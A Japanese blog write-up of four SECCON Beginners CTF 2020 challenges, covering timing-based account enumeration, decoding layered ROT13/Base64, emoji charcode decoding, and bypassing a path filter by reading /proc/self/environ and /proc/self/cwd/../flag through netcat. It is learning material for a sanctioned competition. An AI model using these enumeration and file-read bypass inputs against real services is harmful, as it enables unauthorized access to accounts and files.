LoginSignup
9
1

More than 3 years have passed since last update.

SECCON Beginners CTF 2020 Write-Up

Last updated at Posted at 2020-05-24

SECCON Beginners CTF 2020に参加しました。
個人的な結果はWeb1問、Crypt1問、Misc1問+α。
去年はWeb1問、Reversing1問、Misc1問(Welcome除く)だったので、上達したのかしないのか...

問題ランクは"Beginner", "Easy", "Medium", "Hard"の4種類。
"Beginner"は全部解きたかったなぁ・・・。

さて、ホントの序盤しか解けませんでしたが、せっかくなのでWrite-upを書きます。

Web Spy (Beginner)

問題

Description
As a spy, you are spying on the "ctf4b company".

You got the name-list of employees and the URL to the in-house web tool used by some of them.

Your task is to enumerate the employees who use this tool in order to make it available for social engineering.

併せて、app.pyemployees.txtというファイルが与えられます。

リンクにアクセスすると以下のログイン画面が表示されます。

Go to challenge pageをクリックすると、以下の画面に遷移します。

ログイン試行して、このツールを使ってる従業員を突き止めなさい、ということのようです。

解法

ログイン試行

employees.txtの一番上にある、Arthurを使ってログインしてみます。
当然パスワードがわからないので、「Login failed, try agein.」と表示され、失敗します。

併せて画面下部に以下の表示がされます。
image.png

どうやらページのロード時間が出る仕組みのようです。

app.pyの確認

ソースの中にこんなコメントがあります。

# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)

何度もSALTを付けてストレッチングしてパスワード強度上げてるよ!!!ってことらしいです。

先程の画面ではログイン試行すると、ロード時間が表示されていました。
実在するユーザーはソルト付きパスワードがあるから、ロード時間が長いってことでしょう。

全従業員の処理時間を確認

全従業員でログイン試行してみます。

Employee TAT Check
Arthur 0.0002906 sec
Barbara 0.0003179 sec
Christine 0.0002883 sec
David 0.0003477 sec
Elbert 0.5346012 sec
Franklin 0.0002535 sec
George 0.5338522 sec
Harris 0.0003005 sec
Ivan 0.0003516 sec
Jane 0.0003274 sec
Kevin 0.0003345 sec
Lazarus 0.6669512 sec
Marc 0.3120870 sec
Nathan 0.0002705 sec
Oliver 0.0004385 sec
Paul 0.0002842 sec
Quentin 0.0003274 sec
Randolph 0.0003133 sec
Scott 0.0003194 sec
Tony 0.5677608 sec
Ulysses 0.0003919 sec
Vincent 0.0002489 sec
Wat 0.0003337 sec
Ximena 0.3177634 sec
Yvonne 0.3856804 sec
Zalmon 0.0003502 sec

ターンアラウンドが長い人に★をつけました。
該当の7名をchallenge pageで該当者にチェックを入れるとflagゲットです。

ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

Crypt R&B (Beginner)

問題

Description
Do you like rhythm and blues?

併せて、r_and_b.zipというファイルが与えられます。
展開すると、暗号化したスクリプトの一部problem.pyと、暗号化されたflagencoded_flagが得られます。

解法

problem.pyを見てみると、一定のルールでROT13とBase64を使ったエンコードを繰り返しているようです。

処理の内容としては、
ROT13の場合は先頭に"R"を付与して、エンコード後の文字列を後ろに結合
Base64の場合は先頭に"B"を付与して、エンコード後の文字列を後ろに結合
という動きのようです。

その逆をすればflagが得られそうですね。

復号するプログラムを作ってみました。(最初は力技でCyberChefで手動で戻していったなんて言えない)

decrypt.py
import sys
import base64
import codecs

format = 'ctf4b{'

input_file = sys.argv[1]
fp = open(input_file, 'r')
crypto = fp.read()

print('Target Crypto : ' + crypto)

# 先頭6文字が"ctf4b{"になったらbreak
while crypto[0:6] != format:
    # 先頭が"B"の場合、Base64 Decode
    if crypto[0] == "B":
        crypto_byte = base64.b64decode(crypto[1:])
        crypto = crypto_byte.decode("ascii")
        print("Base64 Decode : " + crypto)
    # 先頭が"R"の場合、ROT13 Decode
    if crypto[0] == "R":
        crypto = codecs.decode(crypto[1:],'rot13')
        print("ROT13 Decode : " + crypto)

# 意味ないけど気持ち的に
flag = crypto

print()
print('Flag : ' + flag)
実行結果
> python decrypt.py encoded_flag 
Target Crypto : BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==        

Base64 Decode : BUk9IeDlWclF5RnB4dTVySEU0cUdJbEZSeVZvd09hSTB1NHJLSVJGVEFHRTFXU0FITVZIMXFsSEh1ZUV5RGtFMjl1R3pnV1p4eWVGVXFXSDBNWEgwQVdyUVNLcFJ1S24zV0VHMk1TWjNJWXBLeXdJeGpscEljbEhheWJFR1NPSDBNVkZHTVZaUjFoSmFjYXJScUhIM3FScndIMUZRT2FIUk1WSDJ1aVpUcGtGSHUxTTBxNk0xV2xGMUE1RTB5R0kwcVdMbUFrRTAxTEVHTjVGVU9ZcklxQVpUQTFFUnVXblNiakFKSVRIYXlLRElXQUF4RVdJMXFTb0g0NQ==
Base64 Decode : ROHx9VrQyFpxu5rHE4qGIlFRyVowOaI0u4rKIRFTAGE1WSAHMVH1qlHHueEyDkE29uGzgWZxyeFUqWH0MXH0AWrQSKpRuKn3WEG2MSZ3IYpKywIxjlpIclHaybEGSOH0MVFGMVZR1hJacarRqHH3qRrwH1FQOaHRMVH2uiZTpkFHu1M0q6M1WlF1A5E0yGI0qWLmAkE01LEGN5FUOYrIqAZTA1ERuWnSbjAJITHayKDIWAAxEWI1qSoH45
ROT13 Decode : BUk9IeDlSckh5eUR4dTVySElIbjBnV0h4eXVESGNTR1JFNUZIU1dyUUhrRlQxR29hTmtJMklrSHdJU0ZKU0NJeDFXcEhXa3JRT2ZFM3VLcXljVkwycVpyUnloRTFBU0ZISTZIME1uWnpneEdUU3dEejU1SDBnUEZIU2hvMGcxSUh1Z0d6Z1JyS1N5R0lTV0dJYzNxR01YRTA5SHBLeVdNMGN1REhJaFowNWVGUnlXQVJNNkRJV1dFbU45
Base64 Decode : ROHx9RrHyyDxu5rHIHn0gWHxyuDHcSGRE5FHSWrQHkFT1GoaNkI2IkHwISFJSCIx1WpHWkrQOfE3uKqycVL2qZrRyhE1ASFHI6H0MnZzgxGTSwDz55H0gPFHSho0g1IHugGzgRrKSyGISWGIc3qGMXE09HpKyWM0cuDHIhZ05eFRyWARM6DIWWEmN9
ROT13 Decode : BUk9EeUllQkh5eUVUa0tJUklhQUpFTER5SUFJeDUxSG1TbnAxV2VxUjVFSWFPVk1JcUJxeDBsR3hXdlpIY2dMeEluR1NFSUV6U0ZaMmtkTGFjQm55U0tCSUFub0t1VUhtTmtEeXFlTVFJTVp3dTZKR09UcXlJZ0phQUVuM05rSElJNEZ6QVJJRzA9
Base64 Decode : RODyIeBHyyETkKIRIaAJELDyIAIx51HmSnp1WeqR5EIaOVMIqBqx0lGxWvZHcgLxInGSEIEzSFZ2kdLacBnySKBIAnoKuUHmNkDyqeMQIMZwu6JGOTqyIgJaAEn3NkHII4FzARIG0=     
ROT13 Decode : BQlVrOUllRGxXVEVnNWRYQlVNVk51UzFac1JrdE5RVnBIZVdOdk0yTkJiMUptYkVaTFRVRmFSM2xqYnpOalFXOVNabXhHUzAxQldrZDVZMjh6WTBGdlVtWnNRa3AxUVV4SmNEVT0=       
Base64 Decode : BUk9IeDlWTEg5dXBUMVNuS1ZsRktNQVpHeWNvM2NBb1JmbEZLTUFaR3ljbzNjQW9SZmxGS01BWkd5Y28zY0FvUmZsQkp1QUxJcDU=
Base64 Decode : ROHx9VLH9upT1SnKVlFKMAZGyco3cAoRflFKMAZGyco3cAoRflFKMAZGyco3cAoRflBJuALIp5
ROT13 Decode : BUk9IYU9hcG1FaXIySXZNMTlpb3pNbEsySXZNMTlpb3pNbEsySXZNMTlpb3pNbEsyOWhNYVc5
Base64 Decode : ROHaOapmEir2IvM19iozMlK2IvM19iozMlK2IvM19iozMlK29hMaW9
ROT13 Decode : BUnBnczRve2ViZ19vbmZyX2ViZ19vbmZyX2ViZ19vbmZyX29uZnJ9
Base64 Decode : Rpgs4o{ebg_onfr_ebg_onfr_ebg_onfr_onfr}
ROT13 Decode : ctf4b{rot_base_rot_base_rot_base_base}

Flag : ctf4b{rot_base_rot_base_rot_base_base}

解けました。
ctf4b{rot_base_rot_base_rot_base_base}

Misc emoemoencode (Easy)

問題

Description
Do you know emo-emo-encode?

併せて、emoemoencode.txtというファイルが与えられます。

emoemoencode.txt
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

解法

絵文字はUnicodeだろうなと当たりをつけて、Charcodeを調べてみます。
CyberChefの"Tocharcode"を使用しました。いつもありがとう。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
 ↓
01f363 01f374 01f366 01f334 01f362 01f37b 01f373 01f374 01f365 01f367 01f361 01f36e 01f330 01f367 01f372 01f361 01f370 01f368 01f379 01f35f 01f362 01f379 01f35f 01f365 01f36d 01f330 01f330 01f330 01f330 01f330 01f330 01f36a 01f369 01f37d

フラグのお決まり部分"ctf4b{}"のCharcodeも調べてみます。

ctf4b{}
 ↓
63 74 66 34 62 7b 7d

見比べてみると、下2桁が一致していることがわかります。
では、すべての下2桁をとって、Fromcharcodeを適用してみます。

下2桁とったもの
63746634627b73746567616e306772617068795f62795f656d3030303030306a697d
Fromcharcodeを適用
ctf4b{stegan0graphy_by_em000000ji}.

解けました。
ctf4b{stegan0graphy_by_em000000ji}

Misc readme (Easy)

この問題は、一人では解けませんでした。悔しい・・・
ヒントをチームメンバーにもらいました。

問題

Description
nc readme.quals.beginners.seccon.jp 9712

併せて、readme.zipというファイルが与えられます。
展開すると、server.pyが得られます。

netcatしてみましょう。

$ nc readme.quals.beginners.seccon.jp 9712
File: /hoge
[-] Not a file

何やらファイルのパスを入れると、応答があるプログラムのようです。

server.pyを見てみましょう。
/home/ctf/flagに答えはあるけど、インプットしたパスにctfが入っていると、"Path not allowed"と怒られる仕組みのようです。

"ctf"という文字列を使わずにどうアクセスするか、という問題ということですね。

解法

ヒントもらってから

/proc/selfを見ると現在実行しているプロセスの環境が調べられるというヒントをいただきました。
調べてみると他のCTFの過去問でも使われていたようですね。これは大変勉強になった。

リファレンスとしては、以下が分かりやすかったです。
Ubuntu Manpage: proc - プロセスの情報を含む擬似ファイルシステム_

というわけで、調べてみます。
手元のLinux環境でまずls -l /proc/self/を実行して、どういったものがあるのかを見て、役に立ちそうなものの当たりをつけました。

/proc/self/cmdline

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cmdline
python3./server.py

server.pyはどこかのディレクトリから、相対パスで起動しているのがわかりました。

/proc/self/environ

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/environ
HOSTNAME=b2a8444bdc32PYTHON_PIP_VERSION=20.1SHLVL=1HOME=/home/ctfGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.7PWD=/home/ctf/serverPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348SOCAT_PID=20231SOCAT_PPID=1SOCAT_VERSION=1.7.3.3SOCAT_SOCKADDR=172.21.0.2SOCAT_SOCKPORT=9712SOCAT_PEERADDR=60.112.171.203SOCAT_PEERPORT=2621

$HOME/home/ctfと分かりました。
これを使ったら何かできるのでは?と試行錯誤

$ nc readme.quals.beginners.seccon.jp 9712
File: $HOME/flag
[-] File not found

$ nc readme.quals.beginners.seccon.jp 9712
File: ~/flag
[-] File not found

環境変数はどうも使えなさそうです。

/proc/self/loginuid

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/loginuid
4294967295

ユーザーが分かりました。このユーザーはつなぎ直しても変わりませんでした。
ユーザーのホームディレクトリでいったらどうなるか試してみます。

$ nc readme.quals.beginners.seccon.jp 9712
File: /~4294967295/flag
[-] File not found

やっぱり環境変数はダメでした。

/proc/self/cwd

cwdはプロセスがカレントワーキングディレクトリとして利用しているディレクトリへのシンボリックリンクとのことです。
$HOME/home/ctf/だったこともあり、その辺で実行していることも考えられそうです。

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/flag
[-] File not found

$HOME直下ではないようです。
flagがあるディレクトリかなと試してみます。

$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

ビンゴでした。
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}

(追記)
ヒントいただいた方から補足もらいました。
/proc/self/environの中にPWD=/home/ctf/serverがありました。
それが分かっていれば、すぐに/proc/self/cwd/../flagが導けますね。
完全に見落としてました。

一人で試してダメだったやつ(読み飛ばしていいと思います)

色々やって結局ダメでしたが、記録として。
アホっぽいのもありますが多めに見てください笑

インプットした結果がどう処理されてるのか知りたかったので、ローカルでserver.pyを動かしたんですが、ncで動かしたときとで動作が違うことがありました。一体なんなんでしょう。
ローカルだと文字列括らないと怒られるし、動作結果が違うのもあった。

# Charcode
File: 0x2f 0x68 0x6f 0x6d 0x65 0x2f 0x63 0x74 0x66 0x2f 0x66 0x6c 0x61 0x67
[-] File not found

# Charcodeスペース詰め
File: 0x2f0x680x6f0x6d0x650x2f0x630x740x660x2f0x660x6c0x610x67
[-] File not found

# To HEX
File: \x2f\x68\x6f\x6d\x65\x2f\x63\x74\x66\x2f\x66\x6c\x61\x67
[-] File not found

# To HEX ローカルだとこうなる(2行目はprint文いれたもの)
$ python server.py
File: '\x2f\x68\x6f\x6d\x65\x2f\x63\x74\x66\x2f\x66\x6c\x61\x67'
/home/ctf/flag
[-] Path not allowed

# ダブルクォートでくくってみる
File: "/""h""o""m""e""/""c""t""f""/""f""l""a""g"
[-] File not found

# シングルクォートでくくってみる(これもローカルだと"Path not allowed"になる)
File: '/''h''o''m''e''/''c''t''f''/''f''l''a''g'
[-] File not found

# Charcode変換して、渡したいパスになるやつ(これもローカルだと(ry)
File: chr(0x2f)+chr(0x68)+chr(0x6f)+chr(0x6d)+chr(0x65)+chr(0x2f)+chr(0x63)+chr(0x74)+chr(0x66)+chr(0x2f)+chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)
[-] File not found

以上です。勉強が足りませんね。
やっぱりpicoCTFをやるかなぁ。

# "mask"はgdbで上手くbreakpoint張れなかったのは何だったのか・・・
# あれを表層解析だけでやるのは私には無理です。

9
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
9
1